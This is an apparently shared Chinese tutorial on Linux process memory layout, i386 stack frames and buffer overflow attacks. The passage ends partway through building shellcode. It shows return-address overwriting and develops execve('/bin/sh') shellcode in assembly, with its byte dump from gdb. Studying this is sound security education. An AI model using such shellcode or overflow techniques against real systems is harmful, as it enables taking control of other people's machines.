Linux下进程地址空间的布局及堆栈帧的结构任何一个程序通常都包括.docx
- 文档编号:11257766
- 上传时间:2023-02-26
- 格式:DOCX
- 页数:19
- 大小:35.25KB
Linux下进程地址空间的布局及堆栈帧的结构任何一个程序通常都包括.docx
《Linux下进程地址空间的布局及堆栈帧的结构任何一个程序通常都包括.docx》由会员分享,可在线阅读,更多相关《Linux下进程地址空间的布局及堆栈帧的结构任何一个程序通常都包括.docx(19页珍藏版)》请在冰豆网上搜索。
Linux下进程地址空间的布局及堆栈帧的结构任何一个程序通常都包括
1.Linux下进程地址空间的布局及堆栈帧的结构
任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。
程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中为其代码段和数据段建立映射。
光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。
图3所示为Linux下进程的地址空间布局:
图3Linux下进程地址空间的布局
首先,execve
(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。
另外,execve
(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。
进程用户空间的最高位置是用来存放程序运行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈向下伸展,堆向上伸展。
知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。
相信读者对C语言中的函数这样的概念都已经很熟悉了,实际上堆栈中存放的就是与每个函数对应的堆栈帧。
当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。
典型的堆栈帧结构如图4所示。
堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针,最下面是分配给函数的局部变量使用的空间。
一个堆栈帧通常都有两个指针,其中一个称为堆栈帧指针,另一个称为栈顶指针。
前者所指向的位置是固定的,而后者所指向的位置在函数的运行过程中可变。
因此,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移。
对照图4可知,实参的偏移为正,局部变量的偏移为负。
图4典型的堆栈帧结构
介绍了堆栈帧的结构,我们再来看一下在Inteli386体系结构上堆栈帧是如何实现的。
图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。
图5一个简单的C程序example1.c
intfunction(inta,intb,intc)
{
charbuffer[14];
intsum;
sum=a+b+c;
returnsum;
}
voidmain()
{
inti;
i=function(1,2,3);
}
图6example1.c编译后生成的汇编程序example1.s
1.file"example1.c"
2.version"01.01"
3gcc2_compiled.:
4.text
5.align4
6.globlfunction
7.typefunction,@function
8function:
9pushl%ebp
10movl%esp,%ebp
11subl$20,%esp
12movl8(%ebp),%eax
13addl12(%ebp),%eax
14movl16(%ebp),%edx
15addl%eax,%edx
16movl%edx,-20(%ebp)
17movl-20(%ebp),%eax
18jmp.L1
19.align4
20.L1:
21leave
22ret
23.Lfe1:
24.sizefunction,.Lfe1-function
25.align4
26.globlmain
27.typemain,@function
28main:
29pushl%ebp
30movl%esp,%ebp
31subl$4,%esp
32pushl$3
33pushl$2
34pushl$1
35callfunction
36addl$12,%esp
37movl%eax,%eax
38movl%eax,-4(%ebp)
39.L2:
40leave
41ret
42.Lfe2:
43.sizemain,.Lfe2-main
44.ident"GCC:
(GNU)2.7.2.3"
这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。
从图5中可以看到,function是在main中被调用的,三个实参的值分别为1、2、3。
由于C语言中函数传参遵循反向压栈顺序,所以在图6中32至34行三个实参从右向左依次被压入堆栈。
接下来35行的call指令除了将控制转移到function之外,还要将call的下一条指令addl的地址,也就是function函数的返回地址压入堆栈。
下面就进入function函数了,首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中,最后在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。
至此,函数function的堆栈帧就构建完成了,其结构如图7所示。
图7函数function的堆栈帧
读者不妨回过头去与图4对比一下。
这里有几点需要说明。
首先,在Inteli386体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp扮演的。
另外,函数function的局部变量buffer[14]由14个字符组成,其大小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。
这是时间效率和空间效率之间的一种折衷,因为Inteli386是32位的处理器,其每次内存访问都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。
因此,如果为了填补buffer[14]留下的两个字节而将sum分配在两个不同的机器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。
还有一点需要说明的是,正如我们在本文前言中所指出的,如果读者使用的是较高版本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不同。
上面已经讲过,为函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub指令中的20正是这里两个局部变量所需的存储空间大小。
但是在较高版本的gcc中,sub指令中出现的数字可能不是20,而是一个更大的数字。
应该说这与优化编译技术有关,在较高版本的gcc中为了有效运用目前流行的各种优化编译技术,通常需要在每个函数的堆栈帧中留出一定额外的空间。
下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。
前面已经提过,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移,而Inteli386体系结构下的堆栈帧指针就是ebp,为了清楚起见,我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。
这下图6中12至16的计算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址,几个简单的add指令和mov指令执行后sum中便是a、b、c三者之和了。
另外,在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的,因此在图6中第17行将sum的值拷贝到eax中。
最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。
图6中第21行的leave指令将堆栈帧指针ebp拷贝到esp中,于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了;除此之外,leave指令还有一个功能,就是从堆栈中弹出一个机器字并将其存放到ebp中,这样ebp就被恢复为main函数的堆栈帧指针了。
第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到指令指针eip中,这样控制就返回到了第36行main函数中的addl指令处。
addl指令将栈顶指针esp加上12,于是当初调用函数function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。
至此,函数function的堆栈帧就被完全销毁了。
前面刚刚提到过,在gcc编译生成的汇编程序中通过eax传递函数的返回结果,因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。
2.Linux下缓冲区溢出攻击的原理---改变程序控制流
明白了Linux下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的例子。
图8一个奇妙的程序example2.c
1intfunction(inta,intb,intc){
2charbuffer[14];
3intsum;
4int*ret;
5
6ret=buffer+20;
7(*ret)+=10;
8sum=a+b+c;
9returnsum;
10}
11
12voidmain(){
13intx;
14
15x=0;
16function(1,2,3);
17x=1;
18printf("%d\\n",x);
19}
在main函数中,局部变量x的初值首先被赋为0,然后调用与x毫无关系的function函数,最后将x的值改为1并打印出来。
结果是多少呢,如果我告诉你是0你相信吗?
闲话少说,还是赶快来看看函数function都动了哪些手脚吧。
这里的function函数与图5中的function相比只是多了一个指针变量ret以及两条对ret进行操作的语句,就是它们使得main函数最后打印的结果变成了0。
对照图7可知,地址buffer+20处保存的正是函数function的返回地址,第7行的语句将函数function的返回地址加了10。
这样会达到什么效果呢?
看一下main函数对应的汇编程序就一目了然了。
图9example2.c中main函数对应的汇编程序
$gdbexample2
(gdb)disassemblemain
Dumpofassemblercodeforfunctionmain:
0x804832c
push%ebp
0x804832d
mov%esp,%ebp
0x804832f
sub$0x4,%esp
0x8048332
movl$0x0,0xfffffffc(%ebp)
0x8048339
push$0x3
0x804833b
push$0x2
0x804833d
push$0x1
0x804833f
call0x80482f8
0x8048344
add$0xc,%esp
0x8048347
movl$0x1,0xfffffffc(%ebp)
0x804834e
mov0xfffffffc(%ebp),%eax
0x8048351
push%eax
0x8048352
push$0x80483b8
0x8048357
call0x8048284
0x804835c
add$0x8,%esp
0x804835f
leave
0x8048360
ret
0x8048361
lea0x0(%esi),%esi
Endofassemblerdump.
地址为0x804833f的call指令会将0x8048344压入堆栈作为函数function的返回地址,而图8中第7行语句的作用就是将0x8048344加10从而变成了0x804834e。
这么一改当函数function返回时地址为0x8048347的mov指令就被跳过了,而这条mov指令的作用正是用来将x的值改为1。
既然x的值没有改变,我们打印看到的结果就必然是其初值0了。
当然,图8所示只是一个示例性的程序,通过修改保存在堆栈帧中的函数的返回地址,我们改变了程序正常的控制流。
图8中程序的运行结果可能会使很多读者感到新奇,但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码,那时你又会做何感想呢?
缓冲区溢出攻击正是利用了在某些体系结构下函数的返回地址被保存在程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的目的。
3.Linux下缓冲区溢出攻击的原理---编写shellcode
说到缓冲区溢出就不能不提shellcode,shellcode读者已经在图1中见过了,其作用就是生成一个shell。
下面我们就来一步步看一下这段令人眼花缭乱的程序是如何得来的。
首先要说明一下,Linux下的系统调用都是通过int$0x80中断实现的。
在调用int$0x80之前,eax中保存了系统调用号,而系统调用的参数则保存在其它寄存器中。
图10所示是直接利用系统调用实现的HelloWorld程序。
图10直接利用系统调用实现的HelloWorld程序hello.c
#include
interrno;
_syscall3(int,write,int,fd,char*,data,int,len);
_syscall1(int,exit,int,status);
_start()
{
write(0,"Helloworld!
\\n",13);
exit(0);
}
将其编译链接生成可执行程序hello:
$gcc-chello.c
$ldhello.o-ohello
$./hello
Helloworld!
$ls-lhello
-rwxr-xr-x1wyos1188Sep2917:
31hello*
图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏,该文件中定义了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏,分别用于参数个数为0到6的系统调用。
由此可知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap
(2)。
另外,仔细阅读syscall0到_syscall6六个宏的定义不难发现,系统调用号是存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。
清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。
应该说这是非常简单的任务,使用execve
(2)系统调用即可,如图11所示。
图11shellcode.c在Linux下生成一个shell
#include
intmain()
{
char*name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
_exit(0);
}
在shellcode.c中一共用到了两个系统调用,分别是execve
(2)和_exit
(2)。
查看/usr/include/asm/unistd.h文件可以得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。
按照前面刚刚讲过的系统调用规则,在Linux下生成一个shell并结束退出需要以下步骤:
∙在内存中存放一个以'\\0'结束的字符串"/bin/sh";
∙将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接一个值为0的机器字,这里相当于设置好了图11中name[2]中的两个指针;
∙将execve
(2)的系统调用号11装入eax寄存器;
∙将字符串"/bin/sh"的地址装入ebx寄存器;
∙将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器;
∙将第2步中设好的值为0的机器字的地址装入edx寄存器;
∙执行int$0x80,这里相当于调用execve
(2);
∙将_exit
(2)的系统调用号1装入eax寄存器;
∙将退出码0装入ebx寄存器;
∙执行int$0x80,这里相当于调用_exit
(2)。
于是我们就得到了图12所示的汇编程序。
图12使用execve
(2)和_exit
(2)系统调用生成shell的汇编程序shellcodeasm.c
1voidmain()
2{
3__asm__("
4jmp1f
52:
popl%esi
6movl%esi,0x8(%esi)
7movb$0x0,0x7(%esi)
8movl$0x0,0xc(%esi)
9movl$0xb,%eax
10movl%esi,%ebx
11leal0x8(%esi),%ecx
12leal0xc(%esi),%edx
13int$0x80
14movl$0x1,%eax
15movl$0x0,%ebx
16int$0x80
171:
call2b
18.string\\"/bin/sh\\"
19");
20}
这里第4行的jmp指令和第17行的call指令使用的都是IP相对寻址方式,第14行至第16行对应于_exit
(2)系统调用,由于它比较简单,我们着重看一下调用execve
(2)的过程。
首先第4行的jmp指令执行之后控制就转移到了第17行的call指令处,在call指令的执行过程中除了将控制转移到第5行的pop指令外,还会将其下一条指令的地址压入堆栈。
然而由图12可知,call指令后面并没有后续的指令,而是存放了字符串"/bin/sh",于是实际被压入堆栈的便成了字符串"/bin/sh"的地址。
第5行的pop指令将刚刚压入堆栈的字符串地址弹出到esi寄存器中。
接下来的三条指令首先将esi中的字符串地址保存在字符串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个'\\0',最后将0写入内存中合适的位置。
第9行至第12行按图13所示正确设置好了寄存器eax、ebx、ecx和edx的值,在第13行就可以调用execve
(2)了。
但是在编译shellcodeasm.c之后,你会发现程序无法运行。
原因就在于图13中所示的所有数据都存放在代码段中,而在Linux下存放代码的页面是不可写的,于是当我们试图使用图12中第6行的mov指令进行写操作时,页面异常处理程序会向运行我们程序的进程发送一个SIGSEGV信号,这样我们的终端上便会出现Segmentationfault的提示信息。
图13调用execve
(2)之前各寄存器的设置
解决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪到可写的数据段或堆栈段中。
可是一段可执行的代码在数据段中应该怎么表示呢?
其实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数据。
我们先来看一下图12中的代码在内存中是如何存放的,通过gdb中的x命令可以很容易的做到这一点,如图14所示。
图14通过gdb中的x命令查看图12中的代码在内存中对应的数据
$gdbshellcodeasm
(gdb)disassemblemain
Dumpofassemblercodeforfunctionmain:
0x80482c4
push%ebp
0x80482c5
mov%esp,%ebp
0x80482c7
jmp0x80482f3
0x80482c9
pop%esi
0x80482ca
mov%esi,0x8(%esi)
0x80482cd
movb$0x0,0x7(%esi)
0x80482d1
movl$0x0,0xc(%esi)
0x80482d8
mov$0xb,%eax
0x80482dd
mov%esi,%ebx
0x80482df
lea0x8(%esi),%ecx
0x80482e2
lea0xc(%esi),%edx
0x80482e5
int$0x80
0x80482e7
mov$0x1,%eax
0x80482ec
mov$0x0,%ebx
0x80482f1
int$0x80
0x80482f3
call0x80482c9
0x80482f8
das
0x80482f9
bound%ebp,0x6e(%ecx)
0x80482fc
das
0x80482fd
jae0x8048367
0x80482ff
add%cl,%cl
0x8048301
ret
0x8048302
mov%esi,%esi
Endofassemblerdump.
(gdb)x/49xb0x80482c7
0x80482c7
0xeb0x2a0x5e0x890x760x080xc60x46
0x80482cf
0x070x000xc70x460x0c0x000x000x00
0x80482d7
0x000xb80x0b0x000x000x000x890xf3
0x80482df
0x8d0x4e0x080x8d0x560x0c0xcd0x80
0x80482e7
0xb80x010x000x000x000xbb0x000x00
0x80482ef
0x000x000xcd0x800xe80xd10xff0xff
0x80482f7
0xff
从jmp指令的起始地址0x80482c7到call指令的结束地址0x80482f8,一共49个字节。
起始地址为0x80482f8的8个字节的内存单元中实际存放的是字符串"/bin/sh",因此我们在那里看到了几条奇怪的指令。
至此,我们的shellcode已经初具雏形了
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Linux 进程 地址 空间 布局 堆栈 结构 任何 一个 程序 通常 包括